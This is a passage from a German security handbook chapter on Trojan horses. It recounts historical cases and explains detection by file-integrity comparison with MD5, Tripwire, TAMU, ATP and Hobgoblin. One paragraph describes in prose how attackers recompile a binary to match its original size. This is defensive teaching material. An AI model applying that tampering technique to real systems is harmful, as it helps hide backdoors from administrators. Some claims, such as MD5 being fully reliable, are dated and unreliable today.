enthielt. quota ist ein Unix-Tool, das Festplatten-Quota für Benutzer überprüft. Unter anderen
Dingen kopierte der quota-Trojaner Paßwörter und NIS-Zuordnungen und mailte diese an den
Autor des Trojanischen Pferdes.
Der IRC-Trojaner. 1994 wurde in der Version 2.2.9 des ircII-Clients ein Trojanisches Pferd
entdeckt. Das Programm hinterließ eine Hintertür, durch die Angreifer Zugang zu den betroffenen
Systemen erhalten konnten. Weitere Informationen über dieses Trojanische Pferd finden Sie unter
http://www.buehler.net/internet/irc/cert.html.
12.4 Wie oft werden Trojaner wirklich entdeckt?
Trojaner werden so oft entdeckt, daß sie ein Hauptsicherheitsbedenken darstellen. Sie sind gerade
deshalb besonders heimtückisch, da ihre Auswirkungen auch nach ihrer Entdeckung oft noch gespürt
werden. In dieser Hinsicht ähneln Trojanische Pferde Sniffern. Niemand kann sicher sagen, wie tief die
Beeinträchtigung in das System hineingegangen ist. Es gibt mehrere Gründe hierfür.
Ein Grund ist, daß sich Trojaner in der Regel in kompilierten Binärdateien verstecken. Der Code eines
Trojaners ist daher in vom Menschen nichtlesbarer Form oder in Maschinensprache geschrieben. Ohne
Debug-Programm kann man nicht viel über Binärdateien erfahren. Wenn Sie beispielsweise einen
Texteditor benutzen, um sich eine Binärdatei anzusehen, wird Ihnen das nichts bringen. Die einzig
erkennbaren Textzeilen sind Copyright-Mitteilungen, Fehlermeldungen oder andere Daten, die an
verschiedenen Punkten des Programms an STDOUT ausgegeben werden.
Hinweis:
Kompilierte Binärdateien sind nicht die einzigen Orte, an denen sich Trojanische Pferde verstecken.
Shell-Scripts, Perl-Programme und vielleicht sogar Code, der in JavaScript, VBScript oder Tcl
geschrieben wurde, können theoretisch ein Trojanisches Pferd beinhalten. Diese Fälle kommen
allerdings verhältnismäßig selten vor. Script-Sprachen sind ungeeignet, weil der Code für den
Menschen lesbar ist. Dies vergrößert die Wahrscheinlichkeit, daß das Opfer den Code entdeckt. (Ein
Trojanisches Pferd in einen solchen Code einzubetten, ist wahrscheinlich nur dann machbar, wenn die
Datei Teil eines viel größeren Pakets ist - z.B. wenn das Gesamtpaket sich auf viele Unterverzeichnisse
verteilt. In solchen Fällen reduziert die Komplexität des Pakets möglicherweise die Wahrscheinlichkeit,
daß ein menschliches Wesen mit normalen Untersuchungsmethoden den Trojaner entdecken kann.)
Ein anderer Grund für die Schwierigkeiten im Entdecken von Trojanern liegt darin, daß sie ihre
Anwesenheit nicht ankündigen. Sie führen einfach ruhig und effektiv ihre entsprechenden Aufgaben aus.
Noch schlimmer, die meisten gut gemachten Trojaner kommen in Form von bekannten Utilities, deren
Ablauf Sie auf einem System erwarten würden. Daher können Sie ein Trojanisches Pferd nicht durch
eine Auflistung der aktuell laufenden Prozesse entdecken.
Trojanische Pferde
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Bevor Sie mit der Suche nach einem Trojaner anfangen, müssen Sie allerdings zunächst einen Grund
dafür haben, daß Sie einen Trojaner in Ihrem System vermuten. Die meisten Leute haben dies nicht, und
selbst wenn es so wäre, wüßten sie nicht, wo sie mit ihrer Suche beginnen sollten.
Es hängt viel von der Erfahrung eines Benutzers ab. Benutzer, die nicht viel über ihr Betriebssystem
wissen, werden wohl kaum tief in Verzeichnisstrukturen tauchen, um verdächtige Dateien zu suchen.
Selbst erfahrene Programmierer haben möglicherweise Schwierigkeiten, ein Trojanisches Pferd zu
identifizieren, auch wenn ihnen der Code für Untersuchungszwecke zur Verfügung steht. (Dies gilt
insbesondere dann, wenn der Trojaner in einer Sprache geschrieben ist, von der der Programmierer nur
sehr wenig versteht. Es klingt unglaublich, aber ich kenne BASIC-Programmierer, die Schwierigkeiten
haben, einen Perl- Code zu lesen.)
12.5 Wie hoch ist das Risiko, das Trojanische
Pferde
darstellen?
Trojaner stellen ein hohes Risiko dar, hauptsächlich aus Gründen, die schon angesprochen wurden:
Trojaner sind schwer zu entdecken.
In den meisten Fällen werden Trojaner in Binärdateien gefunden, die zum größten Teil für den
Menschen nicht lesbar sind.
Trojanische Pferde können sogar zu einem Zusammenbruch des gesamten Systems führen. Ein Trojaner
kann sich bereits seit Wochen oder gar Monaten im System befinden, bevor er entdeckt wird. Innerhalb
dieses Zeitraums könnte ein Cracker mit Root-Privilegien ein gesamtes System nach seinem Bedarf
verändern. Und auch wenn ein Trojanisches Pferd entdeckt wird, existieren möglicherweise viele
versteckte Sicherheitslöcher.
12.6 Wie kann ich ein Trojanisches Pferd
aufspüren?
Trojanische Pferde aufzudecken ist leicht, vorausgesetzt, Sie haben immer nur die besten
Sicherheitspraktiken angewendet. Ist das nicht der Fall, ist das Aufspüren eines Trojaners eine
schwierige Aufgabe.
Die meisten Aufdeckungsmethoden basieren auf einem Prinzip, das »Objektvergleich« genannt wird.
Objekte sind in dem Fall Dateien oder Verzeichnisse. Diese Objekte werden jeweils mit sich selbst zu
einem früheren oder späteren Zeitpunkt verglichen.
Nehmen Sie beipielsweise ein Backup-Band und vergleichen Sie die Datei PS, wie sie im November
1995 aussah, mit der Datei PS, die sich jetzt auf Ihrer Festplatte befindet. Wenn die zwei sich
unterscheiden, und PS nicht aktualisiert, ersetzt oder korrigiert wurde, stimmt etwas nicht. Diese Technik
sollte auf alle Systemdateien angewandt werden, die als Basisteile des Betriebssystem installiert sind.
Objektvergleich ist eine einfache Methode zur Überprüfung der Dateiintegrität, die auf entdeckten
Trojanische Pferde
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Änderungen der Zustandsinformationen einer Datei basiert. Andere Überprüfungsmöglichkeiten
rangieren von ganz einfachen bis hin zu raffinierten Methoden. Zum Beispiel können Sie die Integrität
einer Datei mit Hilfe der folgenden Angaben überprüfen:
dem Datum der letzten Modifikation
dem Datum, zu dem die Datei entstanden ist
der Dateigröße
Alle drei Methoden sind leider ungenügend. Lassen Sie mich kurz erklären, warum.
Jedesmal, wenn eine Datei geändert wird, ändern sich ihre Werte. Beispielsweise wird jedesmal, wenn
die Datei geöffnet, verändert und gespeichert wird, ein neues Datum für die letzte Modifikation
vergeben. Diese Datumsangabe kann jedoch leicht manipuliert werden. Man braucht nur die globale
Zeiteinstellung ändern, die gewünschten Änderungen an der Datei vornehmen, sie speichern und schon
ist die Datumsangabe manipuliert. Aus diesem Grund ist die Datumsangabe der unzuverlässigste Weg,
um Objekte zu vergleichen. Das Datum der letzten Modifikation ist völlig nichtssagend, wenn die Datei
unverändert war (wenn sie z.B. nur kopiert oder gemailt wurde).
Ein anderer Weg, die Integrität einer Datei zu überprüfen, ist die Untersuchung ihrer Größe. Diese
Methode ist jedoch ebenfalls sehr unzuverlässig, da auch dieser Wert auf sehr einfache Art und Weise
manipuliert werden kann. Es ist relativ einfach, mit einer Dateigröße von, sagen wir, 1.024 Kbyte zu
starten und nach Änderung der Datei mit der gleichen Größe zu enden.
Der Prozeß ist allerdings komplexer, wenn eine binäre Datei verändert wird. Binären Dateien werden in
der Regel spezielle Funktionsbibliotheken beigefügt, ohne die das Programm nicht funktionieren würde.
Daher müssen Sie die unentbehrlichen Funktionen des Programms beibehalten und trotzdem Raum für
Ihren eigenen Trojanischen Code finden.
Das meistverbreitete Szenario ist das Angreifen über eine bekannte Datei. Die Datei ist in der
Distribution Ihres Betriebssystems enthalten, die Sie von Ihrem Hersteller bekommen (wie beipielsweise
die Datei csh in Unix oder die Datei command.com in DOS). Diese Dateien werden bei
Erstinstallation auf Ihre Festplatte geschrieben und sie beinhalten eine Datums- und Zeitangabe und
haben eine bestimmte Größe. Eine Differenz in den Zeit-, Datums- oder Größenangaben gegenüber den
ursprünglichen Werten würde sofort Verdacht errregen.
Böswillige Programmierer wissen das. Ihre Aufgabe besteht deshalb darin, den Source-Code sorgfältig
nach Dingen zu untersuchen, die ausgelassen werden können (sie löschen möglicherweise Kommentare
oder andere nicht so wichtige Elemente der Datei). Dann wird der unautorisierte Code integriert und die
Datei neu kompiliert. Der Cracker überprüft die Dateigröße. Wenn sie zu klein oder zu groß ist, beginnt
der Cracker den Prozeß erneut, bis er eine kompilierte Datei hat, die der ursprünglichen Dateigröße so
nah wie möglich ist.
Hinweis:
Wenn die Datei noch nicht verteilt wurde, braucht sich der Angreifer über dieses Problem keine Sorgen
zu machen, weil noch niemand die Datei oder ihre Größe gesehen hat. Vielleicht würde nur der
Originalautor wissen, daß etwas nicht stimmt. Wenn dieser Originalautor sich nicht um Sicherheit
kümmert, würde vielleicht nicht einmal er etwas merken. Wenn Sie Programmierer sind, denken Sie
doch einmal an die letzte Datei, die Sie kompiliert haben. Wissen Sie noch, wie groß sie war?
Trojanische Pferde
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Noch einmal zur Wiederholung: Datum, Datum des letzten Zugangs, Zeit und Größe sind alles Angaben
ohne wirkliche Bedeutung. Keine dieser Angaben ist geeignet, die Integrität einer Datei sicherzustellen.
Daher hat das Erstellen einer umfassenden Datenbank über alle Dateien und ihre entsprechenden Werte
(Zeit, Größe, Datum oder Änderungen) nur sehr limitierten Wert:
Eine Checkliste ist eines der Formulare dieser Datenbank für ein Unix-System. Die
Dateiinhalte selbst werden normalerweise nicht gespeichert, da dies zuviel
Festplattenspeicher in Anspruch nehmen würde. Statt dessen würde eine Checkliste eine
Reihe von Werten enthalten, die aus der ursprünglichen Datei generiert werden - darunter
in der Regel die Länge, das Datum der letzten Modifizierung und der Besitzer. Die
Checkliste wird regelmäßig erneuert und mit den gespeicherten Kopien verglichen, wobei
Abweichungen notiert werden. Jedoch können die Inhalte der Unix- Dateien verändert
werden, ohne daß sich diese Werte gegenüber denen der gespeicherten Dateien verändern.
Insbesondere könnte ein Benutzer, der Root-Zugang hat, die Originalfestplatte so
modifizieren, daß sie die gespeicherten Dateien ändert, ohne dies in der Checkliste
anzuzeigen.1
Es gibt andere Indizierungen. Zum Beispiel könnten Sie die Basis-Prüfsummen benutzen. Obwohl
Prüfsummen zuverlässiger sind als Zeit, Datum oder Datum der letzten Modifizierung, können auch sie
geändert werden. Spezialisten schlagen vor, daß Sie bei Verwendung eines Basisprüfsummensystems
Ihre Prüfsummenliste auf einem separaten Server oder gar einem separaten Medium aufbewahren sollten,
das nur durch Root oder andere vertrauenswürdige Benutzer zugänglich ist. Prüfsummen funktionieren
gut für die Überprüfung der Integrität einer Datei, die von Punkt A zu Punkt B übertragen wurde, aber
das war's auch schon.
Hinweis:
Wenn Sie jemals Dateien mit Kommunikationspaketen wie Qmodem, Telix, Closeup oder MTEZ
übertragen haben, wissen Sie, daß diese Programme Prüfsummen- oder CRC(cyclic redundancy
checks)-Überprüfungen während der Übertragung durchführen. Dadurch wird die Wahrscheinlichkeit
reduziert, daß die Datei während der Übertragung beschädigt wird. Wenn Sie jedoch raffinierten
Angriffen gegen die Integrität von Dateien begegnen, ist diese Technik unzureichend. Anleitungen zum
Umgehen von Prüfsummensystemen gibt es haufenweise im Internet. Die meisten stehen mit der
Entwicklung von Computerviren in Verbindung. (Viele Anti-Viren-Utilities benutzen die
Prüfsummen-Analyse zur Aufdeckung von Viren.)
Sie fragen sich wahrscheinlich, ob es überhaupt eine Technik gibt, die hinreichend ist. Ich freue mich,
diese Frage bejahen zu können. Es handelt sich hierbei um die Berechnung eines digitalen
Fingerabdrucks für jede Datei unter Benutzung verschiedener Algorithmen. Eine Familie von
Algorithmen namens MD series wird für diesen Zweck eingesetzt. Eine der beliebtesten
Implementierungen ist ein System namens MD5.
12.6.1 MD5
MD5 gehört zu einer Familie von One-Way-Hash-Funktionen namens message digest algorithms . Das
MD5-System wird im RFC 1321 definiert:
Trojanische Pferde
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Der Algorithmus nimmt eine Nachricht von willkürlicher Länge als Eingabe und erzeugt
einen 128-Bit-»Fingerabdruck« oder »message digest« der Eingabe als Ausgabe. Es wird
gemutmaßt, daß es rechnerisch unmöglich ist, zwei Nachrichten zu erzeugen, die den
gleichen Fingerabdruck haben, bzw. eine Nachricht zu erzeugen, die einen vorher
bestimmten Ziel-Fingerabdruck hat. Der MD5-Algorithmus ist für
Digitale-Signatur-Applikationen bestimmt, wenn eine große Datei in einer sicheren Weise
»komprimiert« werden muß, bevor sie mit einem privaten (geheimen) Schlüssel in einem
Public-Key-Verschlüsselungssystem wie RSA verschlüsselt wird.
Wegweiser:
RFC 1321 finden Sie unter http://info.internet.isi.edu:80/in-notes/ rfc/files/1321.txt.
Wenn Sie eine Datei durch MD5 laufen lassen, entsteht der Fingerabdruck als ein 32stelliger Wert, der so
aussieht:
2d50b2bffb537cc4e637dd1f07a187f4
Viele Sites, die Unix-Software vertreiben, benutzen MD5, um digitale Fingerabdrücke für ihre
Distributionen zu erzeugen. Während Sie durch Ihre Verzeichnisse blättern, können Sie sich den
Original-Fingerabdruck jeder Datei genau ansehen. Eine typische Verzeichnisauflistung würde wie folgt
aussehen:
MD5 (wn-1.17.8.tar.gz) = 2f52aadd1defeda5bad91da8efc0f980
MD5 (wn-1.17.7.tar.gz) = b92916d83f377b143360f068df6d8116
MD5 (wn-1.17.6.tar.gz) = 18d02b9f24a49dee239a78ecfaf9c6fa
MD5 (wn-1.17.5.tar.gz) = 0cf8f8d0145bb7678abcc518f0cb39e9
MD5 (wn-1.17.4.tar.gz) = 4afe7c522ebe0377269da0c7f26ef6b8
MD5 (wn-1.17.3.tar.gz) = aaf3c2b1c4eaa3ebb37e8227e3327856
MD5 (wn-1.17.2.tar.gz) = 9b29eaa366d4f4dc6de6489e1e844fb9
MD5 (wn-1.17.1.tar.gz) = 91759da54792f1cab743a034542107d0
MD5 (wn-1.17.0.tar.gz) = 32f6eb7f69b4bdc64a163bf744923b41
Wenn Sie eine Datei von solch einem Server herunterladen und feststellen, daß der digitale
Fingerabdruck anders ist, gibt es eine 99,9999prozentige Chance, daß etwas nicht stimmt.
MD5 ist ein populärer Algorithmus und wurde in viele Applikationen eingefügt. Einige extreme
Sicherheitsprogramme benutzen MD4- und MD5-Algorithmen. Eines dieser Programme ist S/Key von
den Bell Laboratories. S/Key generiert Einmal-Paßwörter und wird für Remote Logins benutzt. S/Key
bietet fortgeschrittene Sicherheit für entfernte Arbeitssitzungen (wie Telnet oder Rlogin-Verbindungen).
Die Vorteile von MD5 werden im »S/Key Overview« (Autor unbekannt) beschrieben:
S/Key benutzt entweder MD4 oder MD5 (One-Way-Hashing-Algorithmen, entwickelt von
Ron Rivest), um ein Einmal-Paßwort-Schema zu implementieren. In diesem System werden
Paßwörter in Klartext über das Netzwerk verschickt, aber nachdem ein Paßwort benutzt
wurde, ist es für einen Angreifer nicht mehr nützlich. Der größte Vorteil von S/Key ist, daß
es ohne Modifizierung von Client-Software und nur unbedeutender Unbequemlichkeit für
die Benutzer gegen Angreifer schützt.
Wegweiser:
Trojanische Pferde
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Lesen Sie den S/Key Overview unter http://medg.lcs.mit.edu/people/ wwinston/skey-overview.html.
Ob mit oder ohne MD5, Objektvergleich ist ein komplexer Prozeß. Es ist richtig, daß Sie auf einer
einzelnen Workstation mit wenigen Ressourcen jede Datei und jedes Verzeichnis per Hand vergleichen
könnten. In größeren vernetzten Umgebungen ist dies jedoch schlicht unmöglich. Verschiedene Utilities
wurden bereits entwickelt, um Objektvergleich durchzuführen. Das meistgelobte ist ein Produkt, das
passenderweise Tripwire genannt wird.
12.6.2 Tripwire
Tripwire (geschrieben im Jahr 1992) ist ein umfassendes Dateiintegritäts-Tool. Tripwire ist gut
durchdacht, einfach zu verstehen und kann ohne große Schwierigkeiten implementiert werden.
Das System liest Ihre Umgebung von einer Konfigurationsdatei. Diese Datei enthält alle Dateimasken
(die Arten der Dateien, die Sie überwachen wollen). Das System kann sehr genau sein. Zum Beispiel
können Sie spezifizieren, welche Änderungen an Dateien einer bestimmten Klasse vorgenommen werden
können, ohne daß Tripwire die Änderungen angibt (oder, für umfassendere Überwachungen, können Sie
ein Verzeichnis als Ziel des Überwachungsprozesses festlegen). Die ursprünglichen Werte (digitale
Fingerabdrücke) dieser Dateien werden in einer Datenbankdatei aufbewahrt. Auf diese Datenbankdatei
(einfaches ASCII) wird immer dann zugegriffen, wenn eine Signatur kalkuliert werden muß. In der
Distribution sind folgende Hash-Funktionen enthalten:
CRC32. Diese Hash-Methode wird cyclical redundancy checking (zyklische Redundanzprüfung)
genannt. CRC wird dazu benutzt, die Integrität von Dateien zu prüfen, die digital übertragen
werden. Am Anfang der Übertragung wird eine Datei in kleine Teile von vorherbestimmter Größe
geteilt. Für jedes dieser Teile wird vor dem Senden ein kryptographischer Wert generiert. Wenn
der jeweilige Teil sein Ziel erreicht, berechnet der Empfängerrechner den kryptographischen Wert
noch einmal. Wenn die zwei Werte gleich sind, wurde die Datei ohne Fehler übertragen. Wenn
sich die zwei Werte unterscheiden, werden die Daten wieder zurückgeschickt. CRC32 ist eine
extreme 32-Bit-Implementierung von CRC und wird oft für das Überprüfen von Dateiintegrität
benutzt. Mehr über CRC32 (und andere Algorithmen) erfahren Sie unter
http://info.internet.isi.edu/in-notes/rfc/files/rfc1510.txt .
MD2. MD2 ist in der MD5-Familie der message digest algorithms. Es ist sehr stark. Zum Beispiel
wurde in seiner Spezifikation angegeben, daß »die Möglichkeit, zwei Nachrichten mit dem
gleichen Fingerabdruck zu generieren, in einer Größenordnung von 264 Arbeitsschritten liegt und
daß die Möglichkeit, eine Nachricht mit einem bekannten Fingerabdruck zu generieren, in der
Größenordnung von 2128 Arbeitsschritten. Sie können mehr über MD2 erfahren
unter http://info.internet.isi.edu/in-notes/rfc/files/rfc1319.txt .
MD4. Für Dokumentation über MD4 - das in die Public Domain plaziert wurde - gehen Sie zu
http://info.internet.isi.edu/in-notes/rfc/files/rfc1320.txt.
MD5. MD5 ist ein langsamerer, aber sichererer Algorithmus als MD4 und stellt daher eine
Verbesserung dar. Um mehr über die Entwicklung und den Zweck von MD5 zu erfahren, gehen
Sie zu http://info.internet.isi.edu/in-notes/rfc/files/rfc1321.txt.
SHA (der NIST Secure Hash Algorithm). SHA ist außergewöhnlich stark und wurde in
Umgebungen der Verteidigungsbehörden benutzt. Zum Beispiel verlangt das
Trojanische Pferde
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Verteidigungsministerium (DoD), daß alle von ihm verwalteten Systeme sich an die Richtlinien
der Multilevel Information System Security Initiative (MISSI) halten und nur Produkte verwenden,
die von derselben freigegeben worden sind. SHA wird in einem der von der MISSI freigegebenen
Produkte verwendet, der Fortezza Card, einer PCMCIA-Karte, die eine zusätzliche
Sicherheitsschicht für E-Mail zur Verfügung stellt, die von DoD-Laptops verschickt wird. (SHA
ist auch in das Secure Data Network System Message Security Protocol integriert, ein Protokoll,
das dazu entwickelt wurde, Sicherheit für die X.400-Nachrichtenbearbeitungsumgebung zu bieten.)
Um mehr über SHA zu erfahren, holen Sie sich die Federal Information Processing Standards
Publication 180-1 unter http:// www.itl.nist.gov/div897/pubs/fip180-1.htm.
Snefru (Xerox Secure Hash Function). Snefru kann entweder 128-Bit- oder 256-Bit-
Fingerabdrücke generieren. Snefru wurde von Xerox entwickelt und ist extrem stark. Derzeit ist es
als Version 2.4 verfügbar. Sie finden Snefru (und die dazugehörende Dokumentation) unter
ftp://ftp.parc.xerox.com/pub/hash/hash2.5a/.
Tripwire benutzt standardmäßig sowohl MD5 als auch Snefru, um digitale Fingerabdrücke für Dateien zu
generieren. (Sie können jede dieser Hash-Funktionen auf jede einzelne Datei, einen Teil von Dateien
oder alle Dateien anwenden.) Jeder Datei-Fingerabdruck ist absolut einzigartig. Es gibt wenig oder keine
Chance, daß zwei Dateien den gleichen digitalen Fingerabdruck haben. Die Autoren erklären:
Es wurde ein Versuch gemacht, eine doppelte Snefru[16]-Signatur für das /bin/login-
Programm mit Hilfe von 130 Sun-Workstations zu finden. Über einen Zeitraum von einigen
Wochen wurden 17 Millionen Signaturen generiert und mit 10.000 gespeicherten Signaturen
verglichen, der maximalen Anzahl von Signaturen, die in den Speicher passen, ohne bei
jeder erneuten Suche Speicherseitenfehler hervorzurufen. Etwa 224 Signaturen wurden
überprüft, ohne Übereinstimmungen zu finden, und etwa 1015 Signaturen blieben
unüberprüft.
Idealerweise sollten Sie ein Tool wie Tripwire gleich nach einer Erstinstallation einsetzen. Dies gibt
Ihnen 100prozentige Dateiintegrität als einen Anfangsbezugspunkt. Nachdem Sie die komplette
Datenbank für Ihr Dateisystem generiert haben, können Sie andere Benutzer einführen (die Ihr System
sofort mit Müll füllen werden, der auch verifiziert werden muß). Tripwire ist extrem gut geplant. Hier
sind einige der interessanteren Funktionen:
Tripwire kann seine Aufgaben über Netzwerk-Verbindungen durchführen. Daher können Sie eine
Datenbank mit digitalen Fingerabdrücken für ein gesamtes Netzwerk bei der Installierung
generieren.
Tripwire ist in C geschrieben, und an Portierung wurde gedacht. Es kann für die meisten Dialekte
ohne Änderung kompiliert werden.
Tripwire kommt mit einer Makro-Bearbeitungssprache, so daß Sie bestimmte Aufgaben
automatisieren können.
Tripwire ist ein hervorragendes Tool, aber es gibt einige erwähnenswerte Punkte in Hinsicht auf
Sicherheit. Einer dieser Punkte betrifft die Wertedatenbank, die generiert wird und erhalten bleibt. Im
wesentlichen geht es um die gleichen Punkte, die ich vorher schon angesprochen habe: Ein Cracker kann
Datenbanken verändern. Es ist daher empfehlenswert, daß Sie einige Maßnahmen ergreifen, um diese
Datenbank zu schützen. Den Autoren des Tools waren dies von Anfang an klar:
Trojanische Pferde
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Die Datenbank, die von dem Integritätsprüfer benutzt wird, sollte vor unautorisierten
Modifikationen geschützt werden; ein Eindringling, der die Datenbank ändern kann, kann
das gesamte Überprüfungssystem für die Integrität von Dateien untergraben.
Wegweiser:
Bevor Sie Tripwire einsetzen, lesen Sie »The Design and Implementation of Tripwire: A File System
Integrity Checker« von Gene H. Kim und Eugene H. Spafford. Sie finden diesen Bericht unter
ftp://ftp.cs.purdue.edu/pub/ spaf/security/Tripwire.PS.Z.
Eine Methode zum Schutz der Datenbank ist extrem sicher: Speichern Sie die Datenbank auf einem
schreibgeschützten Medium. Dies beseitigt fast jede Möglichkeit der Manipulation. Tatsächlich wird
diese Technik zu einem starken Trend im Gebiet Sicherheit. In einer kürzlich stattgefundenen
Sicherheitsberatung stellte ich überrascht fest, daß die Kunden (die ja gerade erst etwas über Sicherheit
lernen sollten) sehr viel Interesse für schreibgeschützte Medien für ihre Web-basierten Datenbänke
zeigten. Diese Datenbänke enthielten sensible Informationen, die im Fall einer Modifizierung ein
Gefahrenpotential für die Sicherheit anderer Systeme darstellen könnten.
Kim und Spafford (die Autoren von Tripwire) empfehlen ebenfalls, die Datenbank auf diese Weise zu
sichern, obwohl sie zugestehen, daß dies einige praktische Probleme in bezug auf die Prozedur
hervorrufen könnte. Es hängt viel davon ab, wie oft die Datenbank aktualisiert wird, wie groß sie ist usw.
Wenn Sie Tripwire auf einer großangelegten Basis implementieren (und in seiner Maximal-Applikation),
könnte die Einrichtung einer schreibgeschützten Datenbank eine sehr gute Idee sein. Dies hängt
wiederum vom Risikoniveau und der Notwendigkeit für erhöhte oder optimale Sicherheitsmaßnahmen
ab.
Wegweiser:
Sie finden Tripwire (und eine Dokumentation über seine Nutzung und seine Entwicklung) unter
ftp://coast.cs.purdue.edu/pub/tools/unix/Tripwire/.
12.6.3 TAMU
Die TAMU-Programmfamilie (von der Texas A&M University) ist eine Sammlung von Tools, die die
Sicherheit eines Unix-Rechners erheblich verbessern. Diese Tools wurden als Antwort auf ein sehr reales
Problem entwickelt. Wie in der Zusammenfassung, die der Distribution beigelegt ist, erklärt wird:
Unix-Rechner der Texas A&M University wurden kürzlich von einer Gruppe von
Internet-Crackern weitreichend angegriffen. Dieser Bericht gibt Ihnen einen Überblick über
das Problem und unsere Antworten, darunter die Entwicklung von Richtlinien, Prozeduren
und Tools für den Schutz der Universitätsrechner. Die entwickelten Tools umfassen
»drawbridge«, eine fortschrittliche Internet-Filter-Bridge, »tiger scripts«, extrem mächtige
aber einfach zu bedienende Programme für das Schützen individueller Hosts, und »xvefc«
(Xview Etherfind Client), ein mächtiges Überwachungstool für verteilte Netzwerke.
Die TAMU-Distribution beinhaltet ein Paket von tiger scripts, die die Basis der digitalen
Fingerabdruckauthentifizierung der Distribution bilden. Wie in der Zusammenfassung erklärt wird:
Trojanische Pferde
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Der durchgeführte Überprüfungsvorgang deckt eine ganze Reihe von Dingen ab, darunter
Dinge, die in CERT-Mitteilungen identifiziert wurden, und Dinge, die uns während der
kürzlich stattgefundenen Angriffe aufgefallen sind. Die Skripte benutzen Xerox's
Kryptographie-Prüfsummenprogramme, um sowohl modifizierte System- Binärdateien
(mögliche Hintertüren/Trojaner) zu überprüfen, als auch zu prüfen, ob die erforderlichen
sicherheitsrelevanten Patches vorhanden sind.
Die TAMU-Distribution ist umfassend. Sie können TAMU benutzen, um mehrere Sicherheitsprobleme
zu lösen, unter anderem eben auch das Suchen nach Trojanern. TAMU beinhaltet ein
Netzwerk-Überwachungstool und einen Paketfilter.
Wegweiser:
Die TAMU-Distribution finden Sie unter ftp://coast.cs.purdue.edu/pub/ tools/unix/TAMU/.
12.6.4 ATP (Anti-Tampering Program)
ATP ist unbekannter als Tripwire oder die TAMU-Distribution, funktioniert aber so ähnlich wie
Tripwire. Wie David Vincenzetti von der Universität Mailand, Italien, in ATP - Anti- Tampering
Program erklärt:
ATP »macht eine Momentaufnahme« des Systems unter der Annahme, daß Sie sich in einer
vertrauenswürdigen Konfiguration befinden, und führt einige Prüfungen durch, um
mögliche Veränderungen an Dateien zu überwachen.
Wegweiser:
Sie finden ATP - Anti-Tampering Program unter http://www.cryptonet.it/ docs/atp.html.
ATP etabliert eine Datenbank mit Werten für jede Datei. Einer dieser Werte (die Signatur) besteht aus
zwei Prüfsummen. Die erste ist eine CRC32-Prüfsumme, die zweite eine MD5- Prüfsumme. Sie fragen
sich vielleicht, warum das so ist, insbesondere da Sie wissen, daß CRC-Prüfsummen nicht ganz sicher
oder zuverlässig sind. Aufgrund der Geschwindigkeit wird die CRC32-Prüfsumme benutzt für
Überprüfungen, die regelmäßig (vielleicht täglich) durchgeführt werden. MD5, das umfangreicher ist
(und deshalb mehr Ressourcen und Zeit braucht), ist für geplante, periodische Überprüfungen (vielleicht
einmal wöchentlich) vorgesehen.
Die Datenbank wird unter Benutzung von DES verschlüsselt. ATP bietet eine flexible (aber recht
sichere) Methode für die Überwachung Ihres Netzwerks und für das Aufdecken eventuell vorhandener
Trojaner.
Wegweiser:
Sie finden die ATP Distribution und Dokumentation unter ftp://security.dsi.unimi.it/pub/security .
Trojanische Pferde
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12.6.5 Hobgoblin
Hobgoblin ist eine interessante Implementierung einer Datei- und
Systemintegrität-Überprüfungsmethode. Die Autoren des Definitionspapiers (Farmer und Spafford an der
Purdue University) geben an, daß das Programm schneller und leichter konfigurierbar ist als COPS und
generell detailliertere Informationen sammelt. Was Hobgoblin besonders interessant macht, ist, daß es
sowohl eine Sprache als auch ein Interpreter ist. Die Programmierer haben ihre eigenen einzigartigen
Deskriptoren und strukturellen Konventionen zur Verfügung gestellt.
Das Paket scheint leicht zu benutzen, aber es gibt einige Fallen. Obwohl Globbing-Konventionen
(sowohl von csh als auch von sh/bash) zugelassen sind, benutzt der Hobgoblin-Interpreter bekannte
und oftbenutzte Metacharaktäre, die eine besondere Bedeutung haben. Wenn Sie dieses mächtige Tool
also in der Praxis anwenden wollen, sollten Sie einige Stunden einplanen, um sich mit diesen
Konventionen vertraut zu machen.
Insgesamt ist Hobgoblin ein extrem mächtiges Tool für die Überwachung von Dateisystemen. Allerdings
wurde das Programm speziell für Systeme an der University of Rochester geschrieben, und obwohl es
erfolgreich auf einer ganzen Reihe von Betriebssystemen kompiliert wurde, kann es Unterschiede in der
Performance geben - vor allem wenn Sie keinen Sun3, Sun4 oder VAX mit Ultrix benutzen. Außerdem
wurde bemängelt, daß Hobgoblin einige Elemente fehlen, die in anderen Tools zur Überwachung von
Systemintegrität enthalten sind, obwohl ich denke, daß entsprechende Tools (und ihre Funktionen) in
Hobgoblin integriert werden können.
Wegweiser:
Hobgoblin und seinen Source-Code finden Sie unter http://ftp.su.se/pub/
security/tools/admin/hobgoblin/hobgoblin.shar.gz.
12.6.6 Auf anderen Plattformen
Es gibt Dateiintegrität-Monitoringtools auch für Windows, aber sie sind nicht so mächtig und zuverlässig
wie die für andere Plattformen (sie sind auch nicht ausdrücklich für das Überprüfen mehrerer Rechner
und Dateisysteme in Netzwerken entwickelt). Die meisten dieser Tools benutzen Prüfsummen als
Überprüfungsbasis und sind daher nicht so umfassend wie die Tools, die MD5 benutzen. Die meisten
sind zur Benutzung als Virenscanner gedacht. Das ist unglücklich, weil ein Trojaner ebenso leicht für die
Microsoft-Plattform geschrieben werden kann wie für jede andere Plattform. Gerade jetzt, da
Windows NT als Plattform für Internet-Server benutzt wird, wird es zu einer Hauptzielscheibe für
Trojanische Pferde werden.
12.7 Informationsquellen
In diesem Abschnitt finden Sie eine Liste von Informationsquellen zum Thema
Objektvergleichstechniken. Ich empfehle jedem Systemadministrator, sich zumindest ein Basiswissen
über diese Techniken zuzulegen (und vielleicht sogar die Prozeduren zu implementieren, die darin
detailliert dargestellt werden).
Trojanische Pferde
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»MDx-MAC and Building Fast MACs from Hash Functions«
Bart Preneel und Paul C. van Oorschot. Crypto 95.
ftp://ftp.esat.kuleuven.ac.be/pub/COSIC/preneel/mdxmac_crypto95.ps
»Message Authentication with One-Way Hash Functions«
Gene Tsudik. 1992. IEEE Infocom 1992.
http://www.zurich.ibm.com/Technology/Security/publications/1992/t92.ps.Z
»RFC 1446 - 1.5.1. Message Digest Algorithm«
http://info.internet.isi.edu:80/in-notes/rfc/files/rfc1446.txt
»Answers to Frequently Asked Questions About Today's Cryptography«
Paul Fahn. RSA Laboratories. 1993 RSA Laboratories, eine Abteilung von RSA Data Security.
http://kepler.poly.edu/~jmarca01/cryptography/rsafaq1.html
»The Checksum Home Page«
Macintosh Checksum.
http://www.cerfnet.com/~gpw/Checksum.html
»RFC 1510 - 6. Encryption and Checksum Specifications«
Connected: An Internet Encyclopedia.
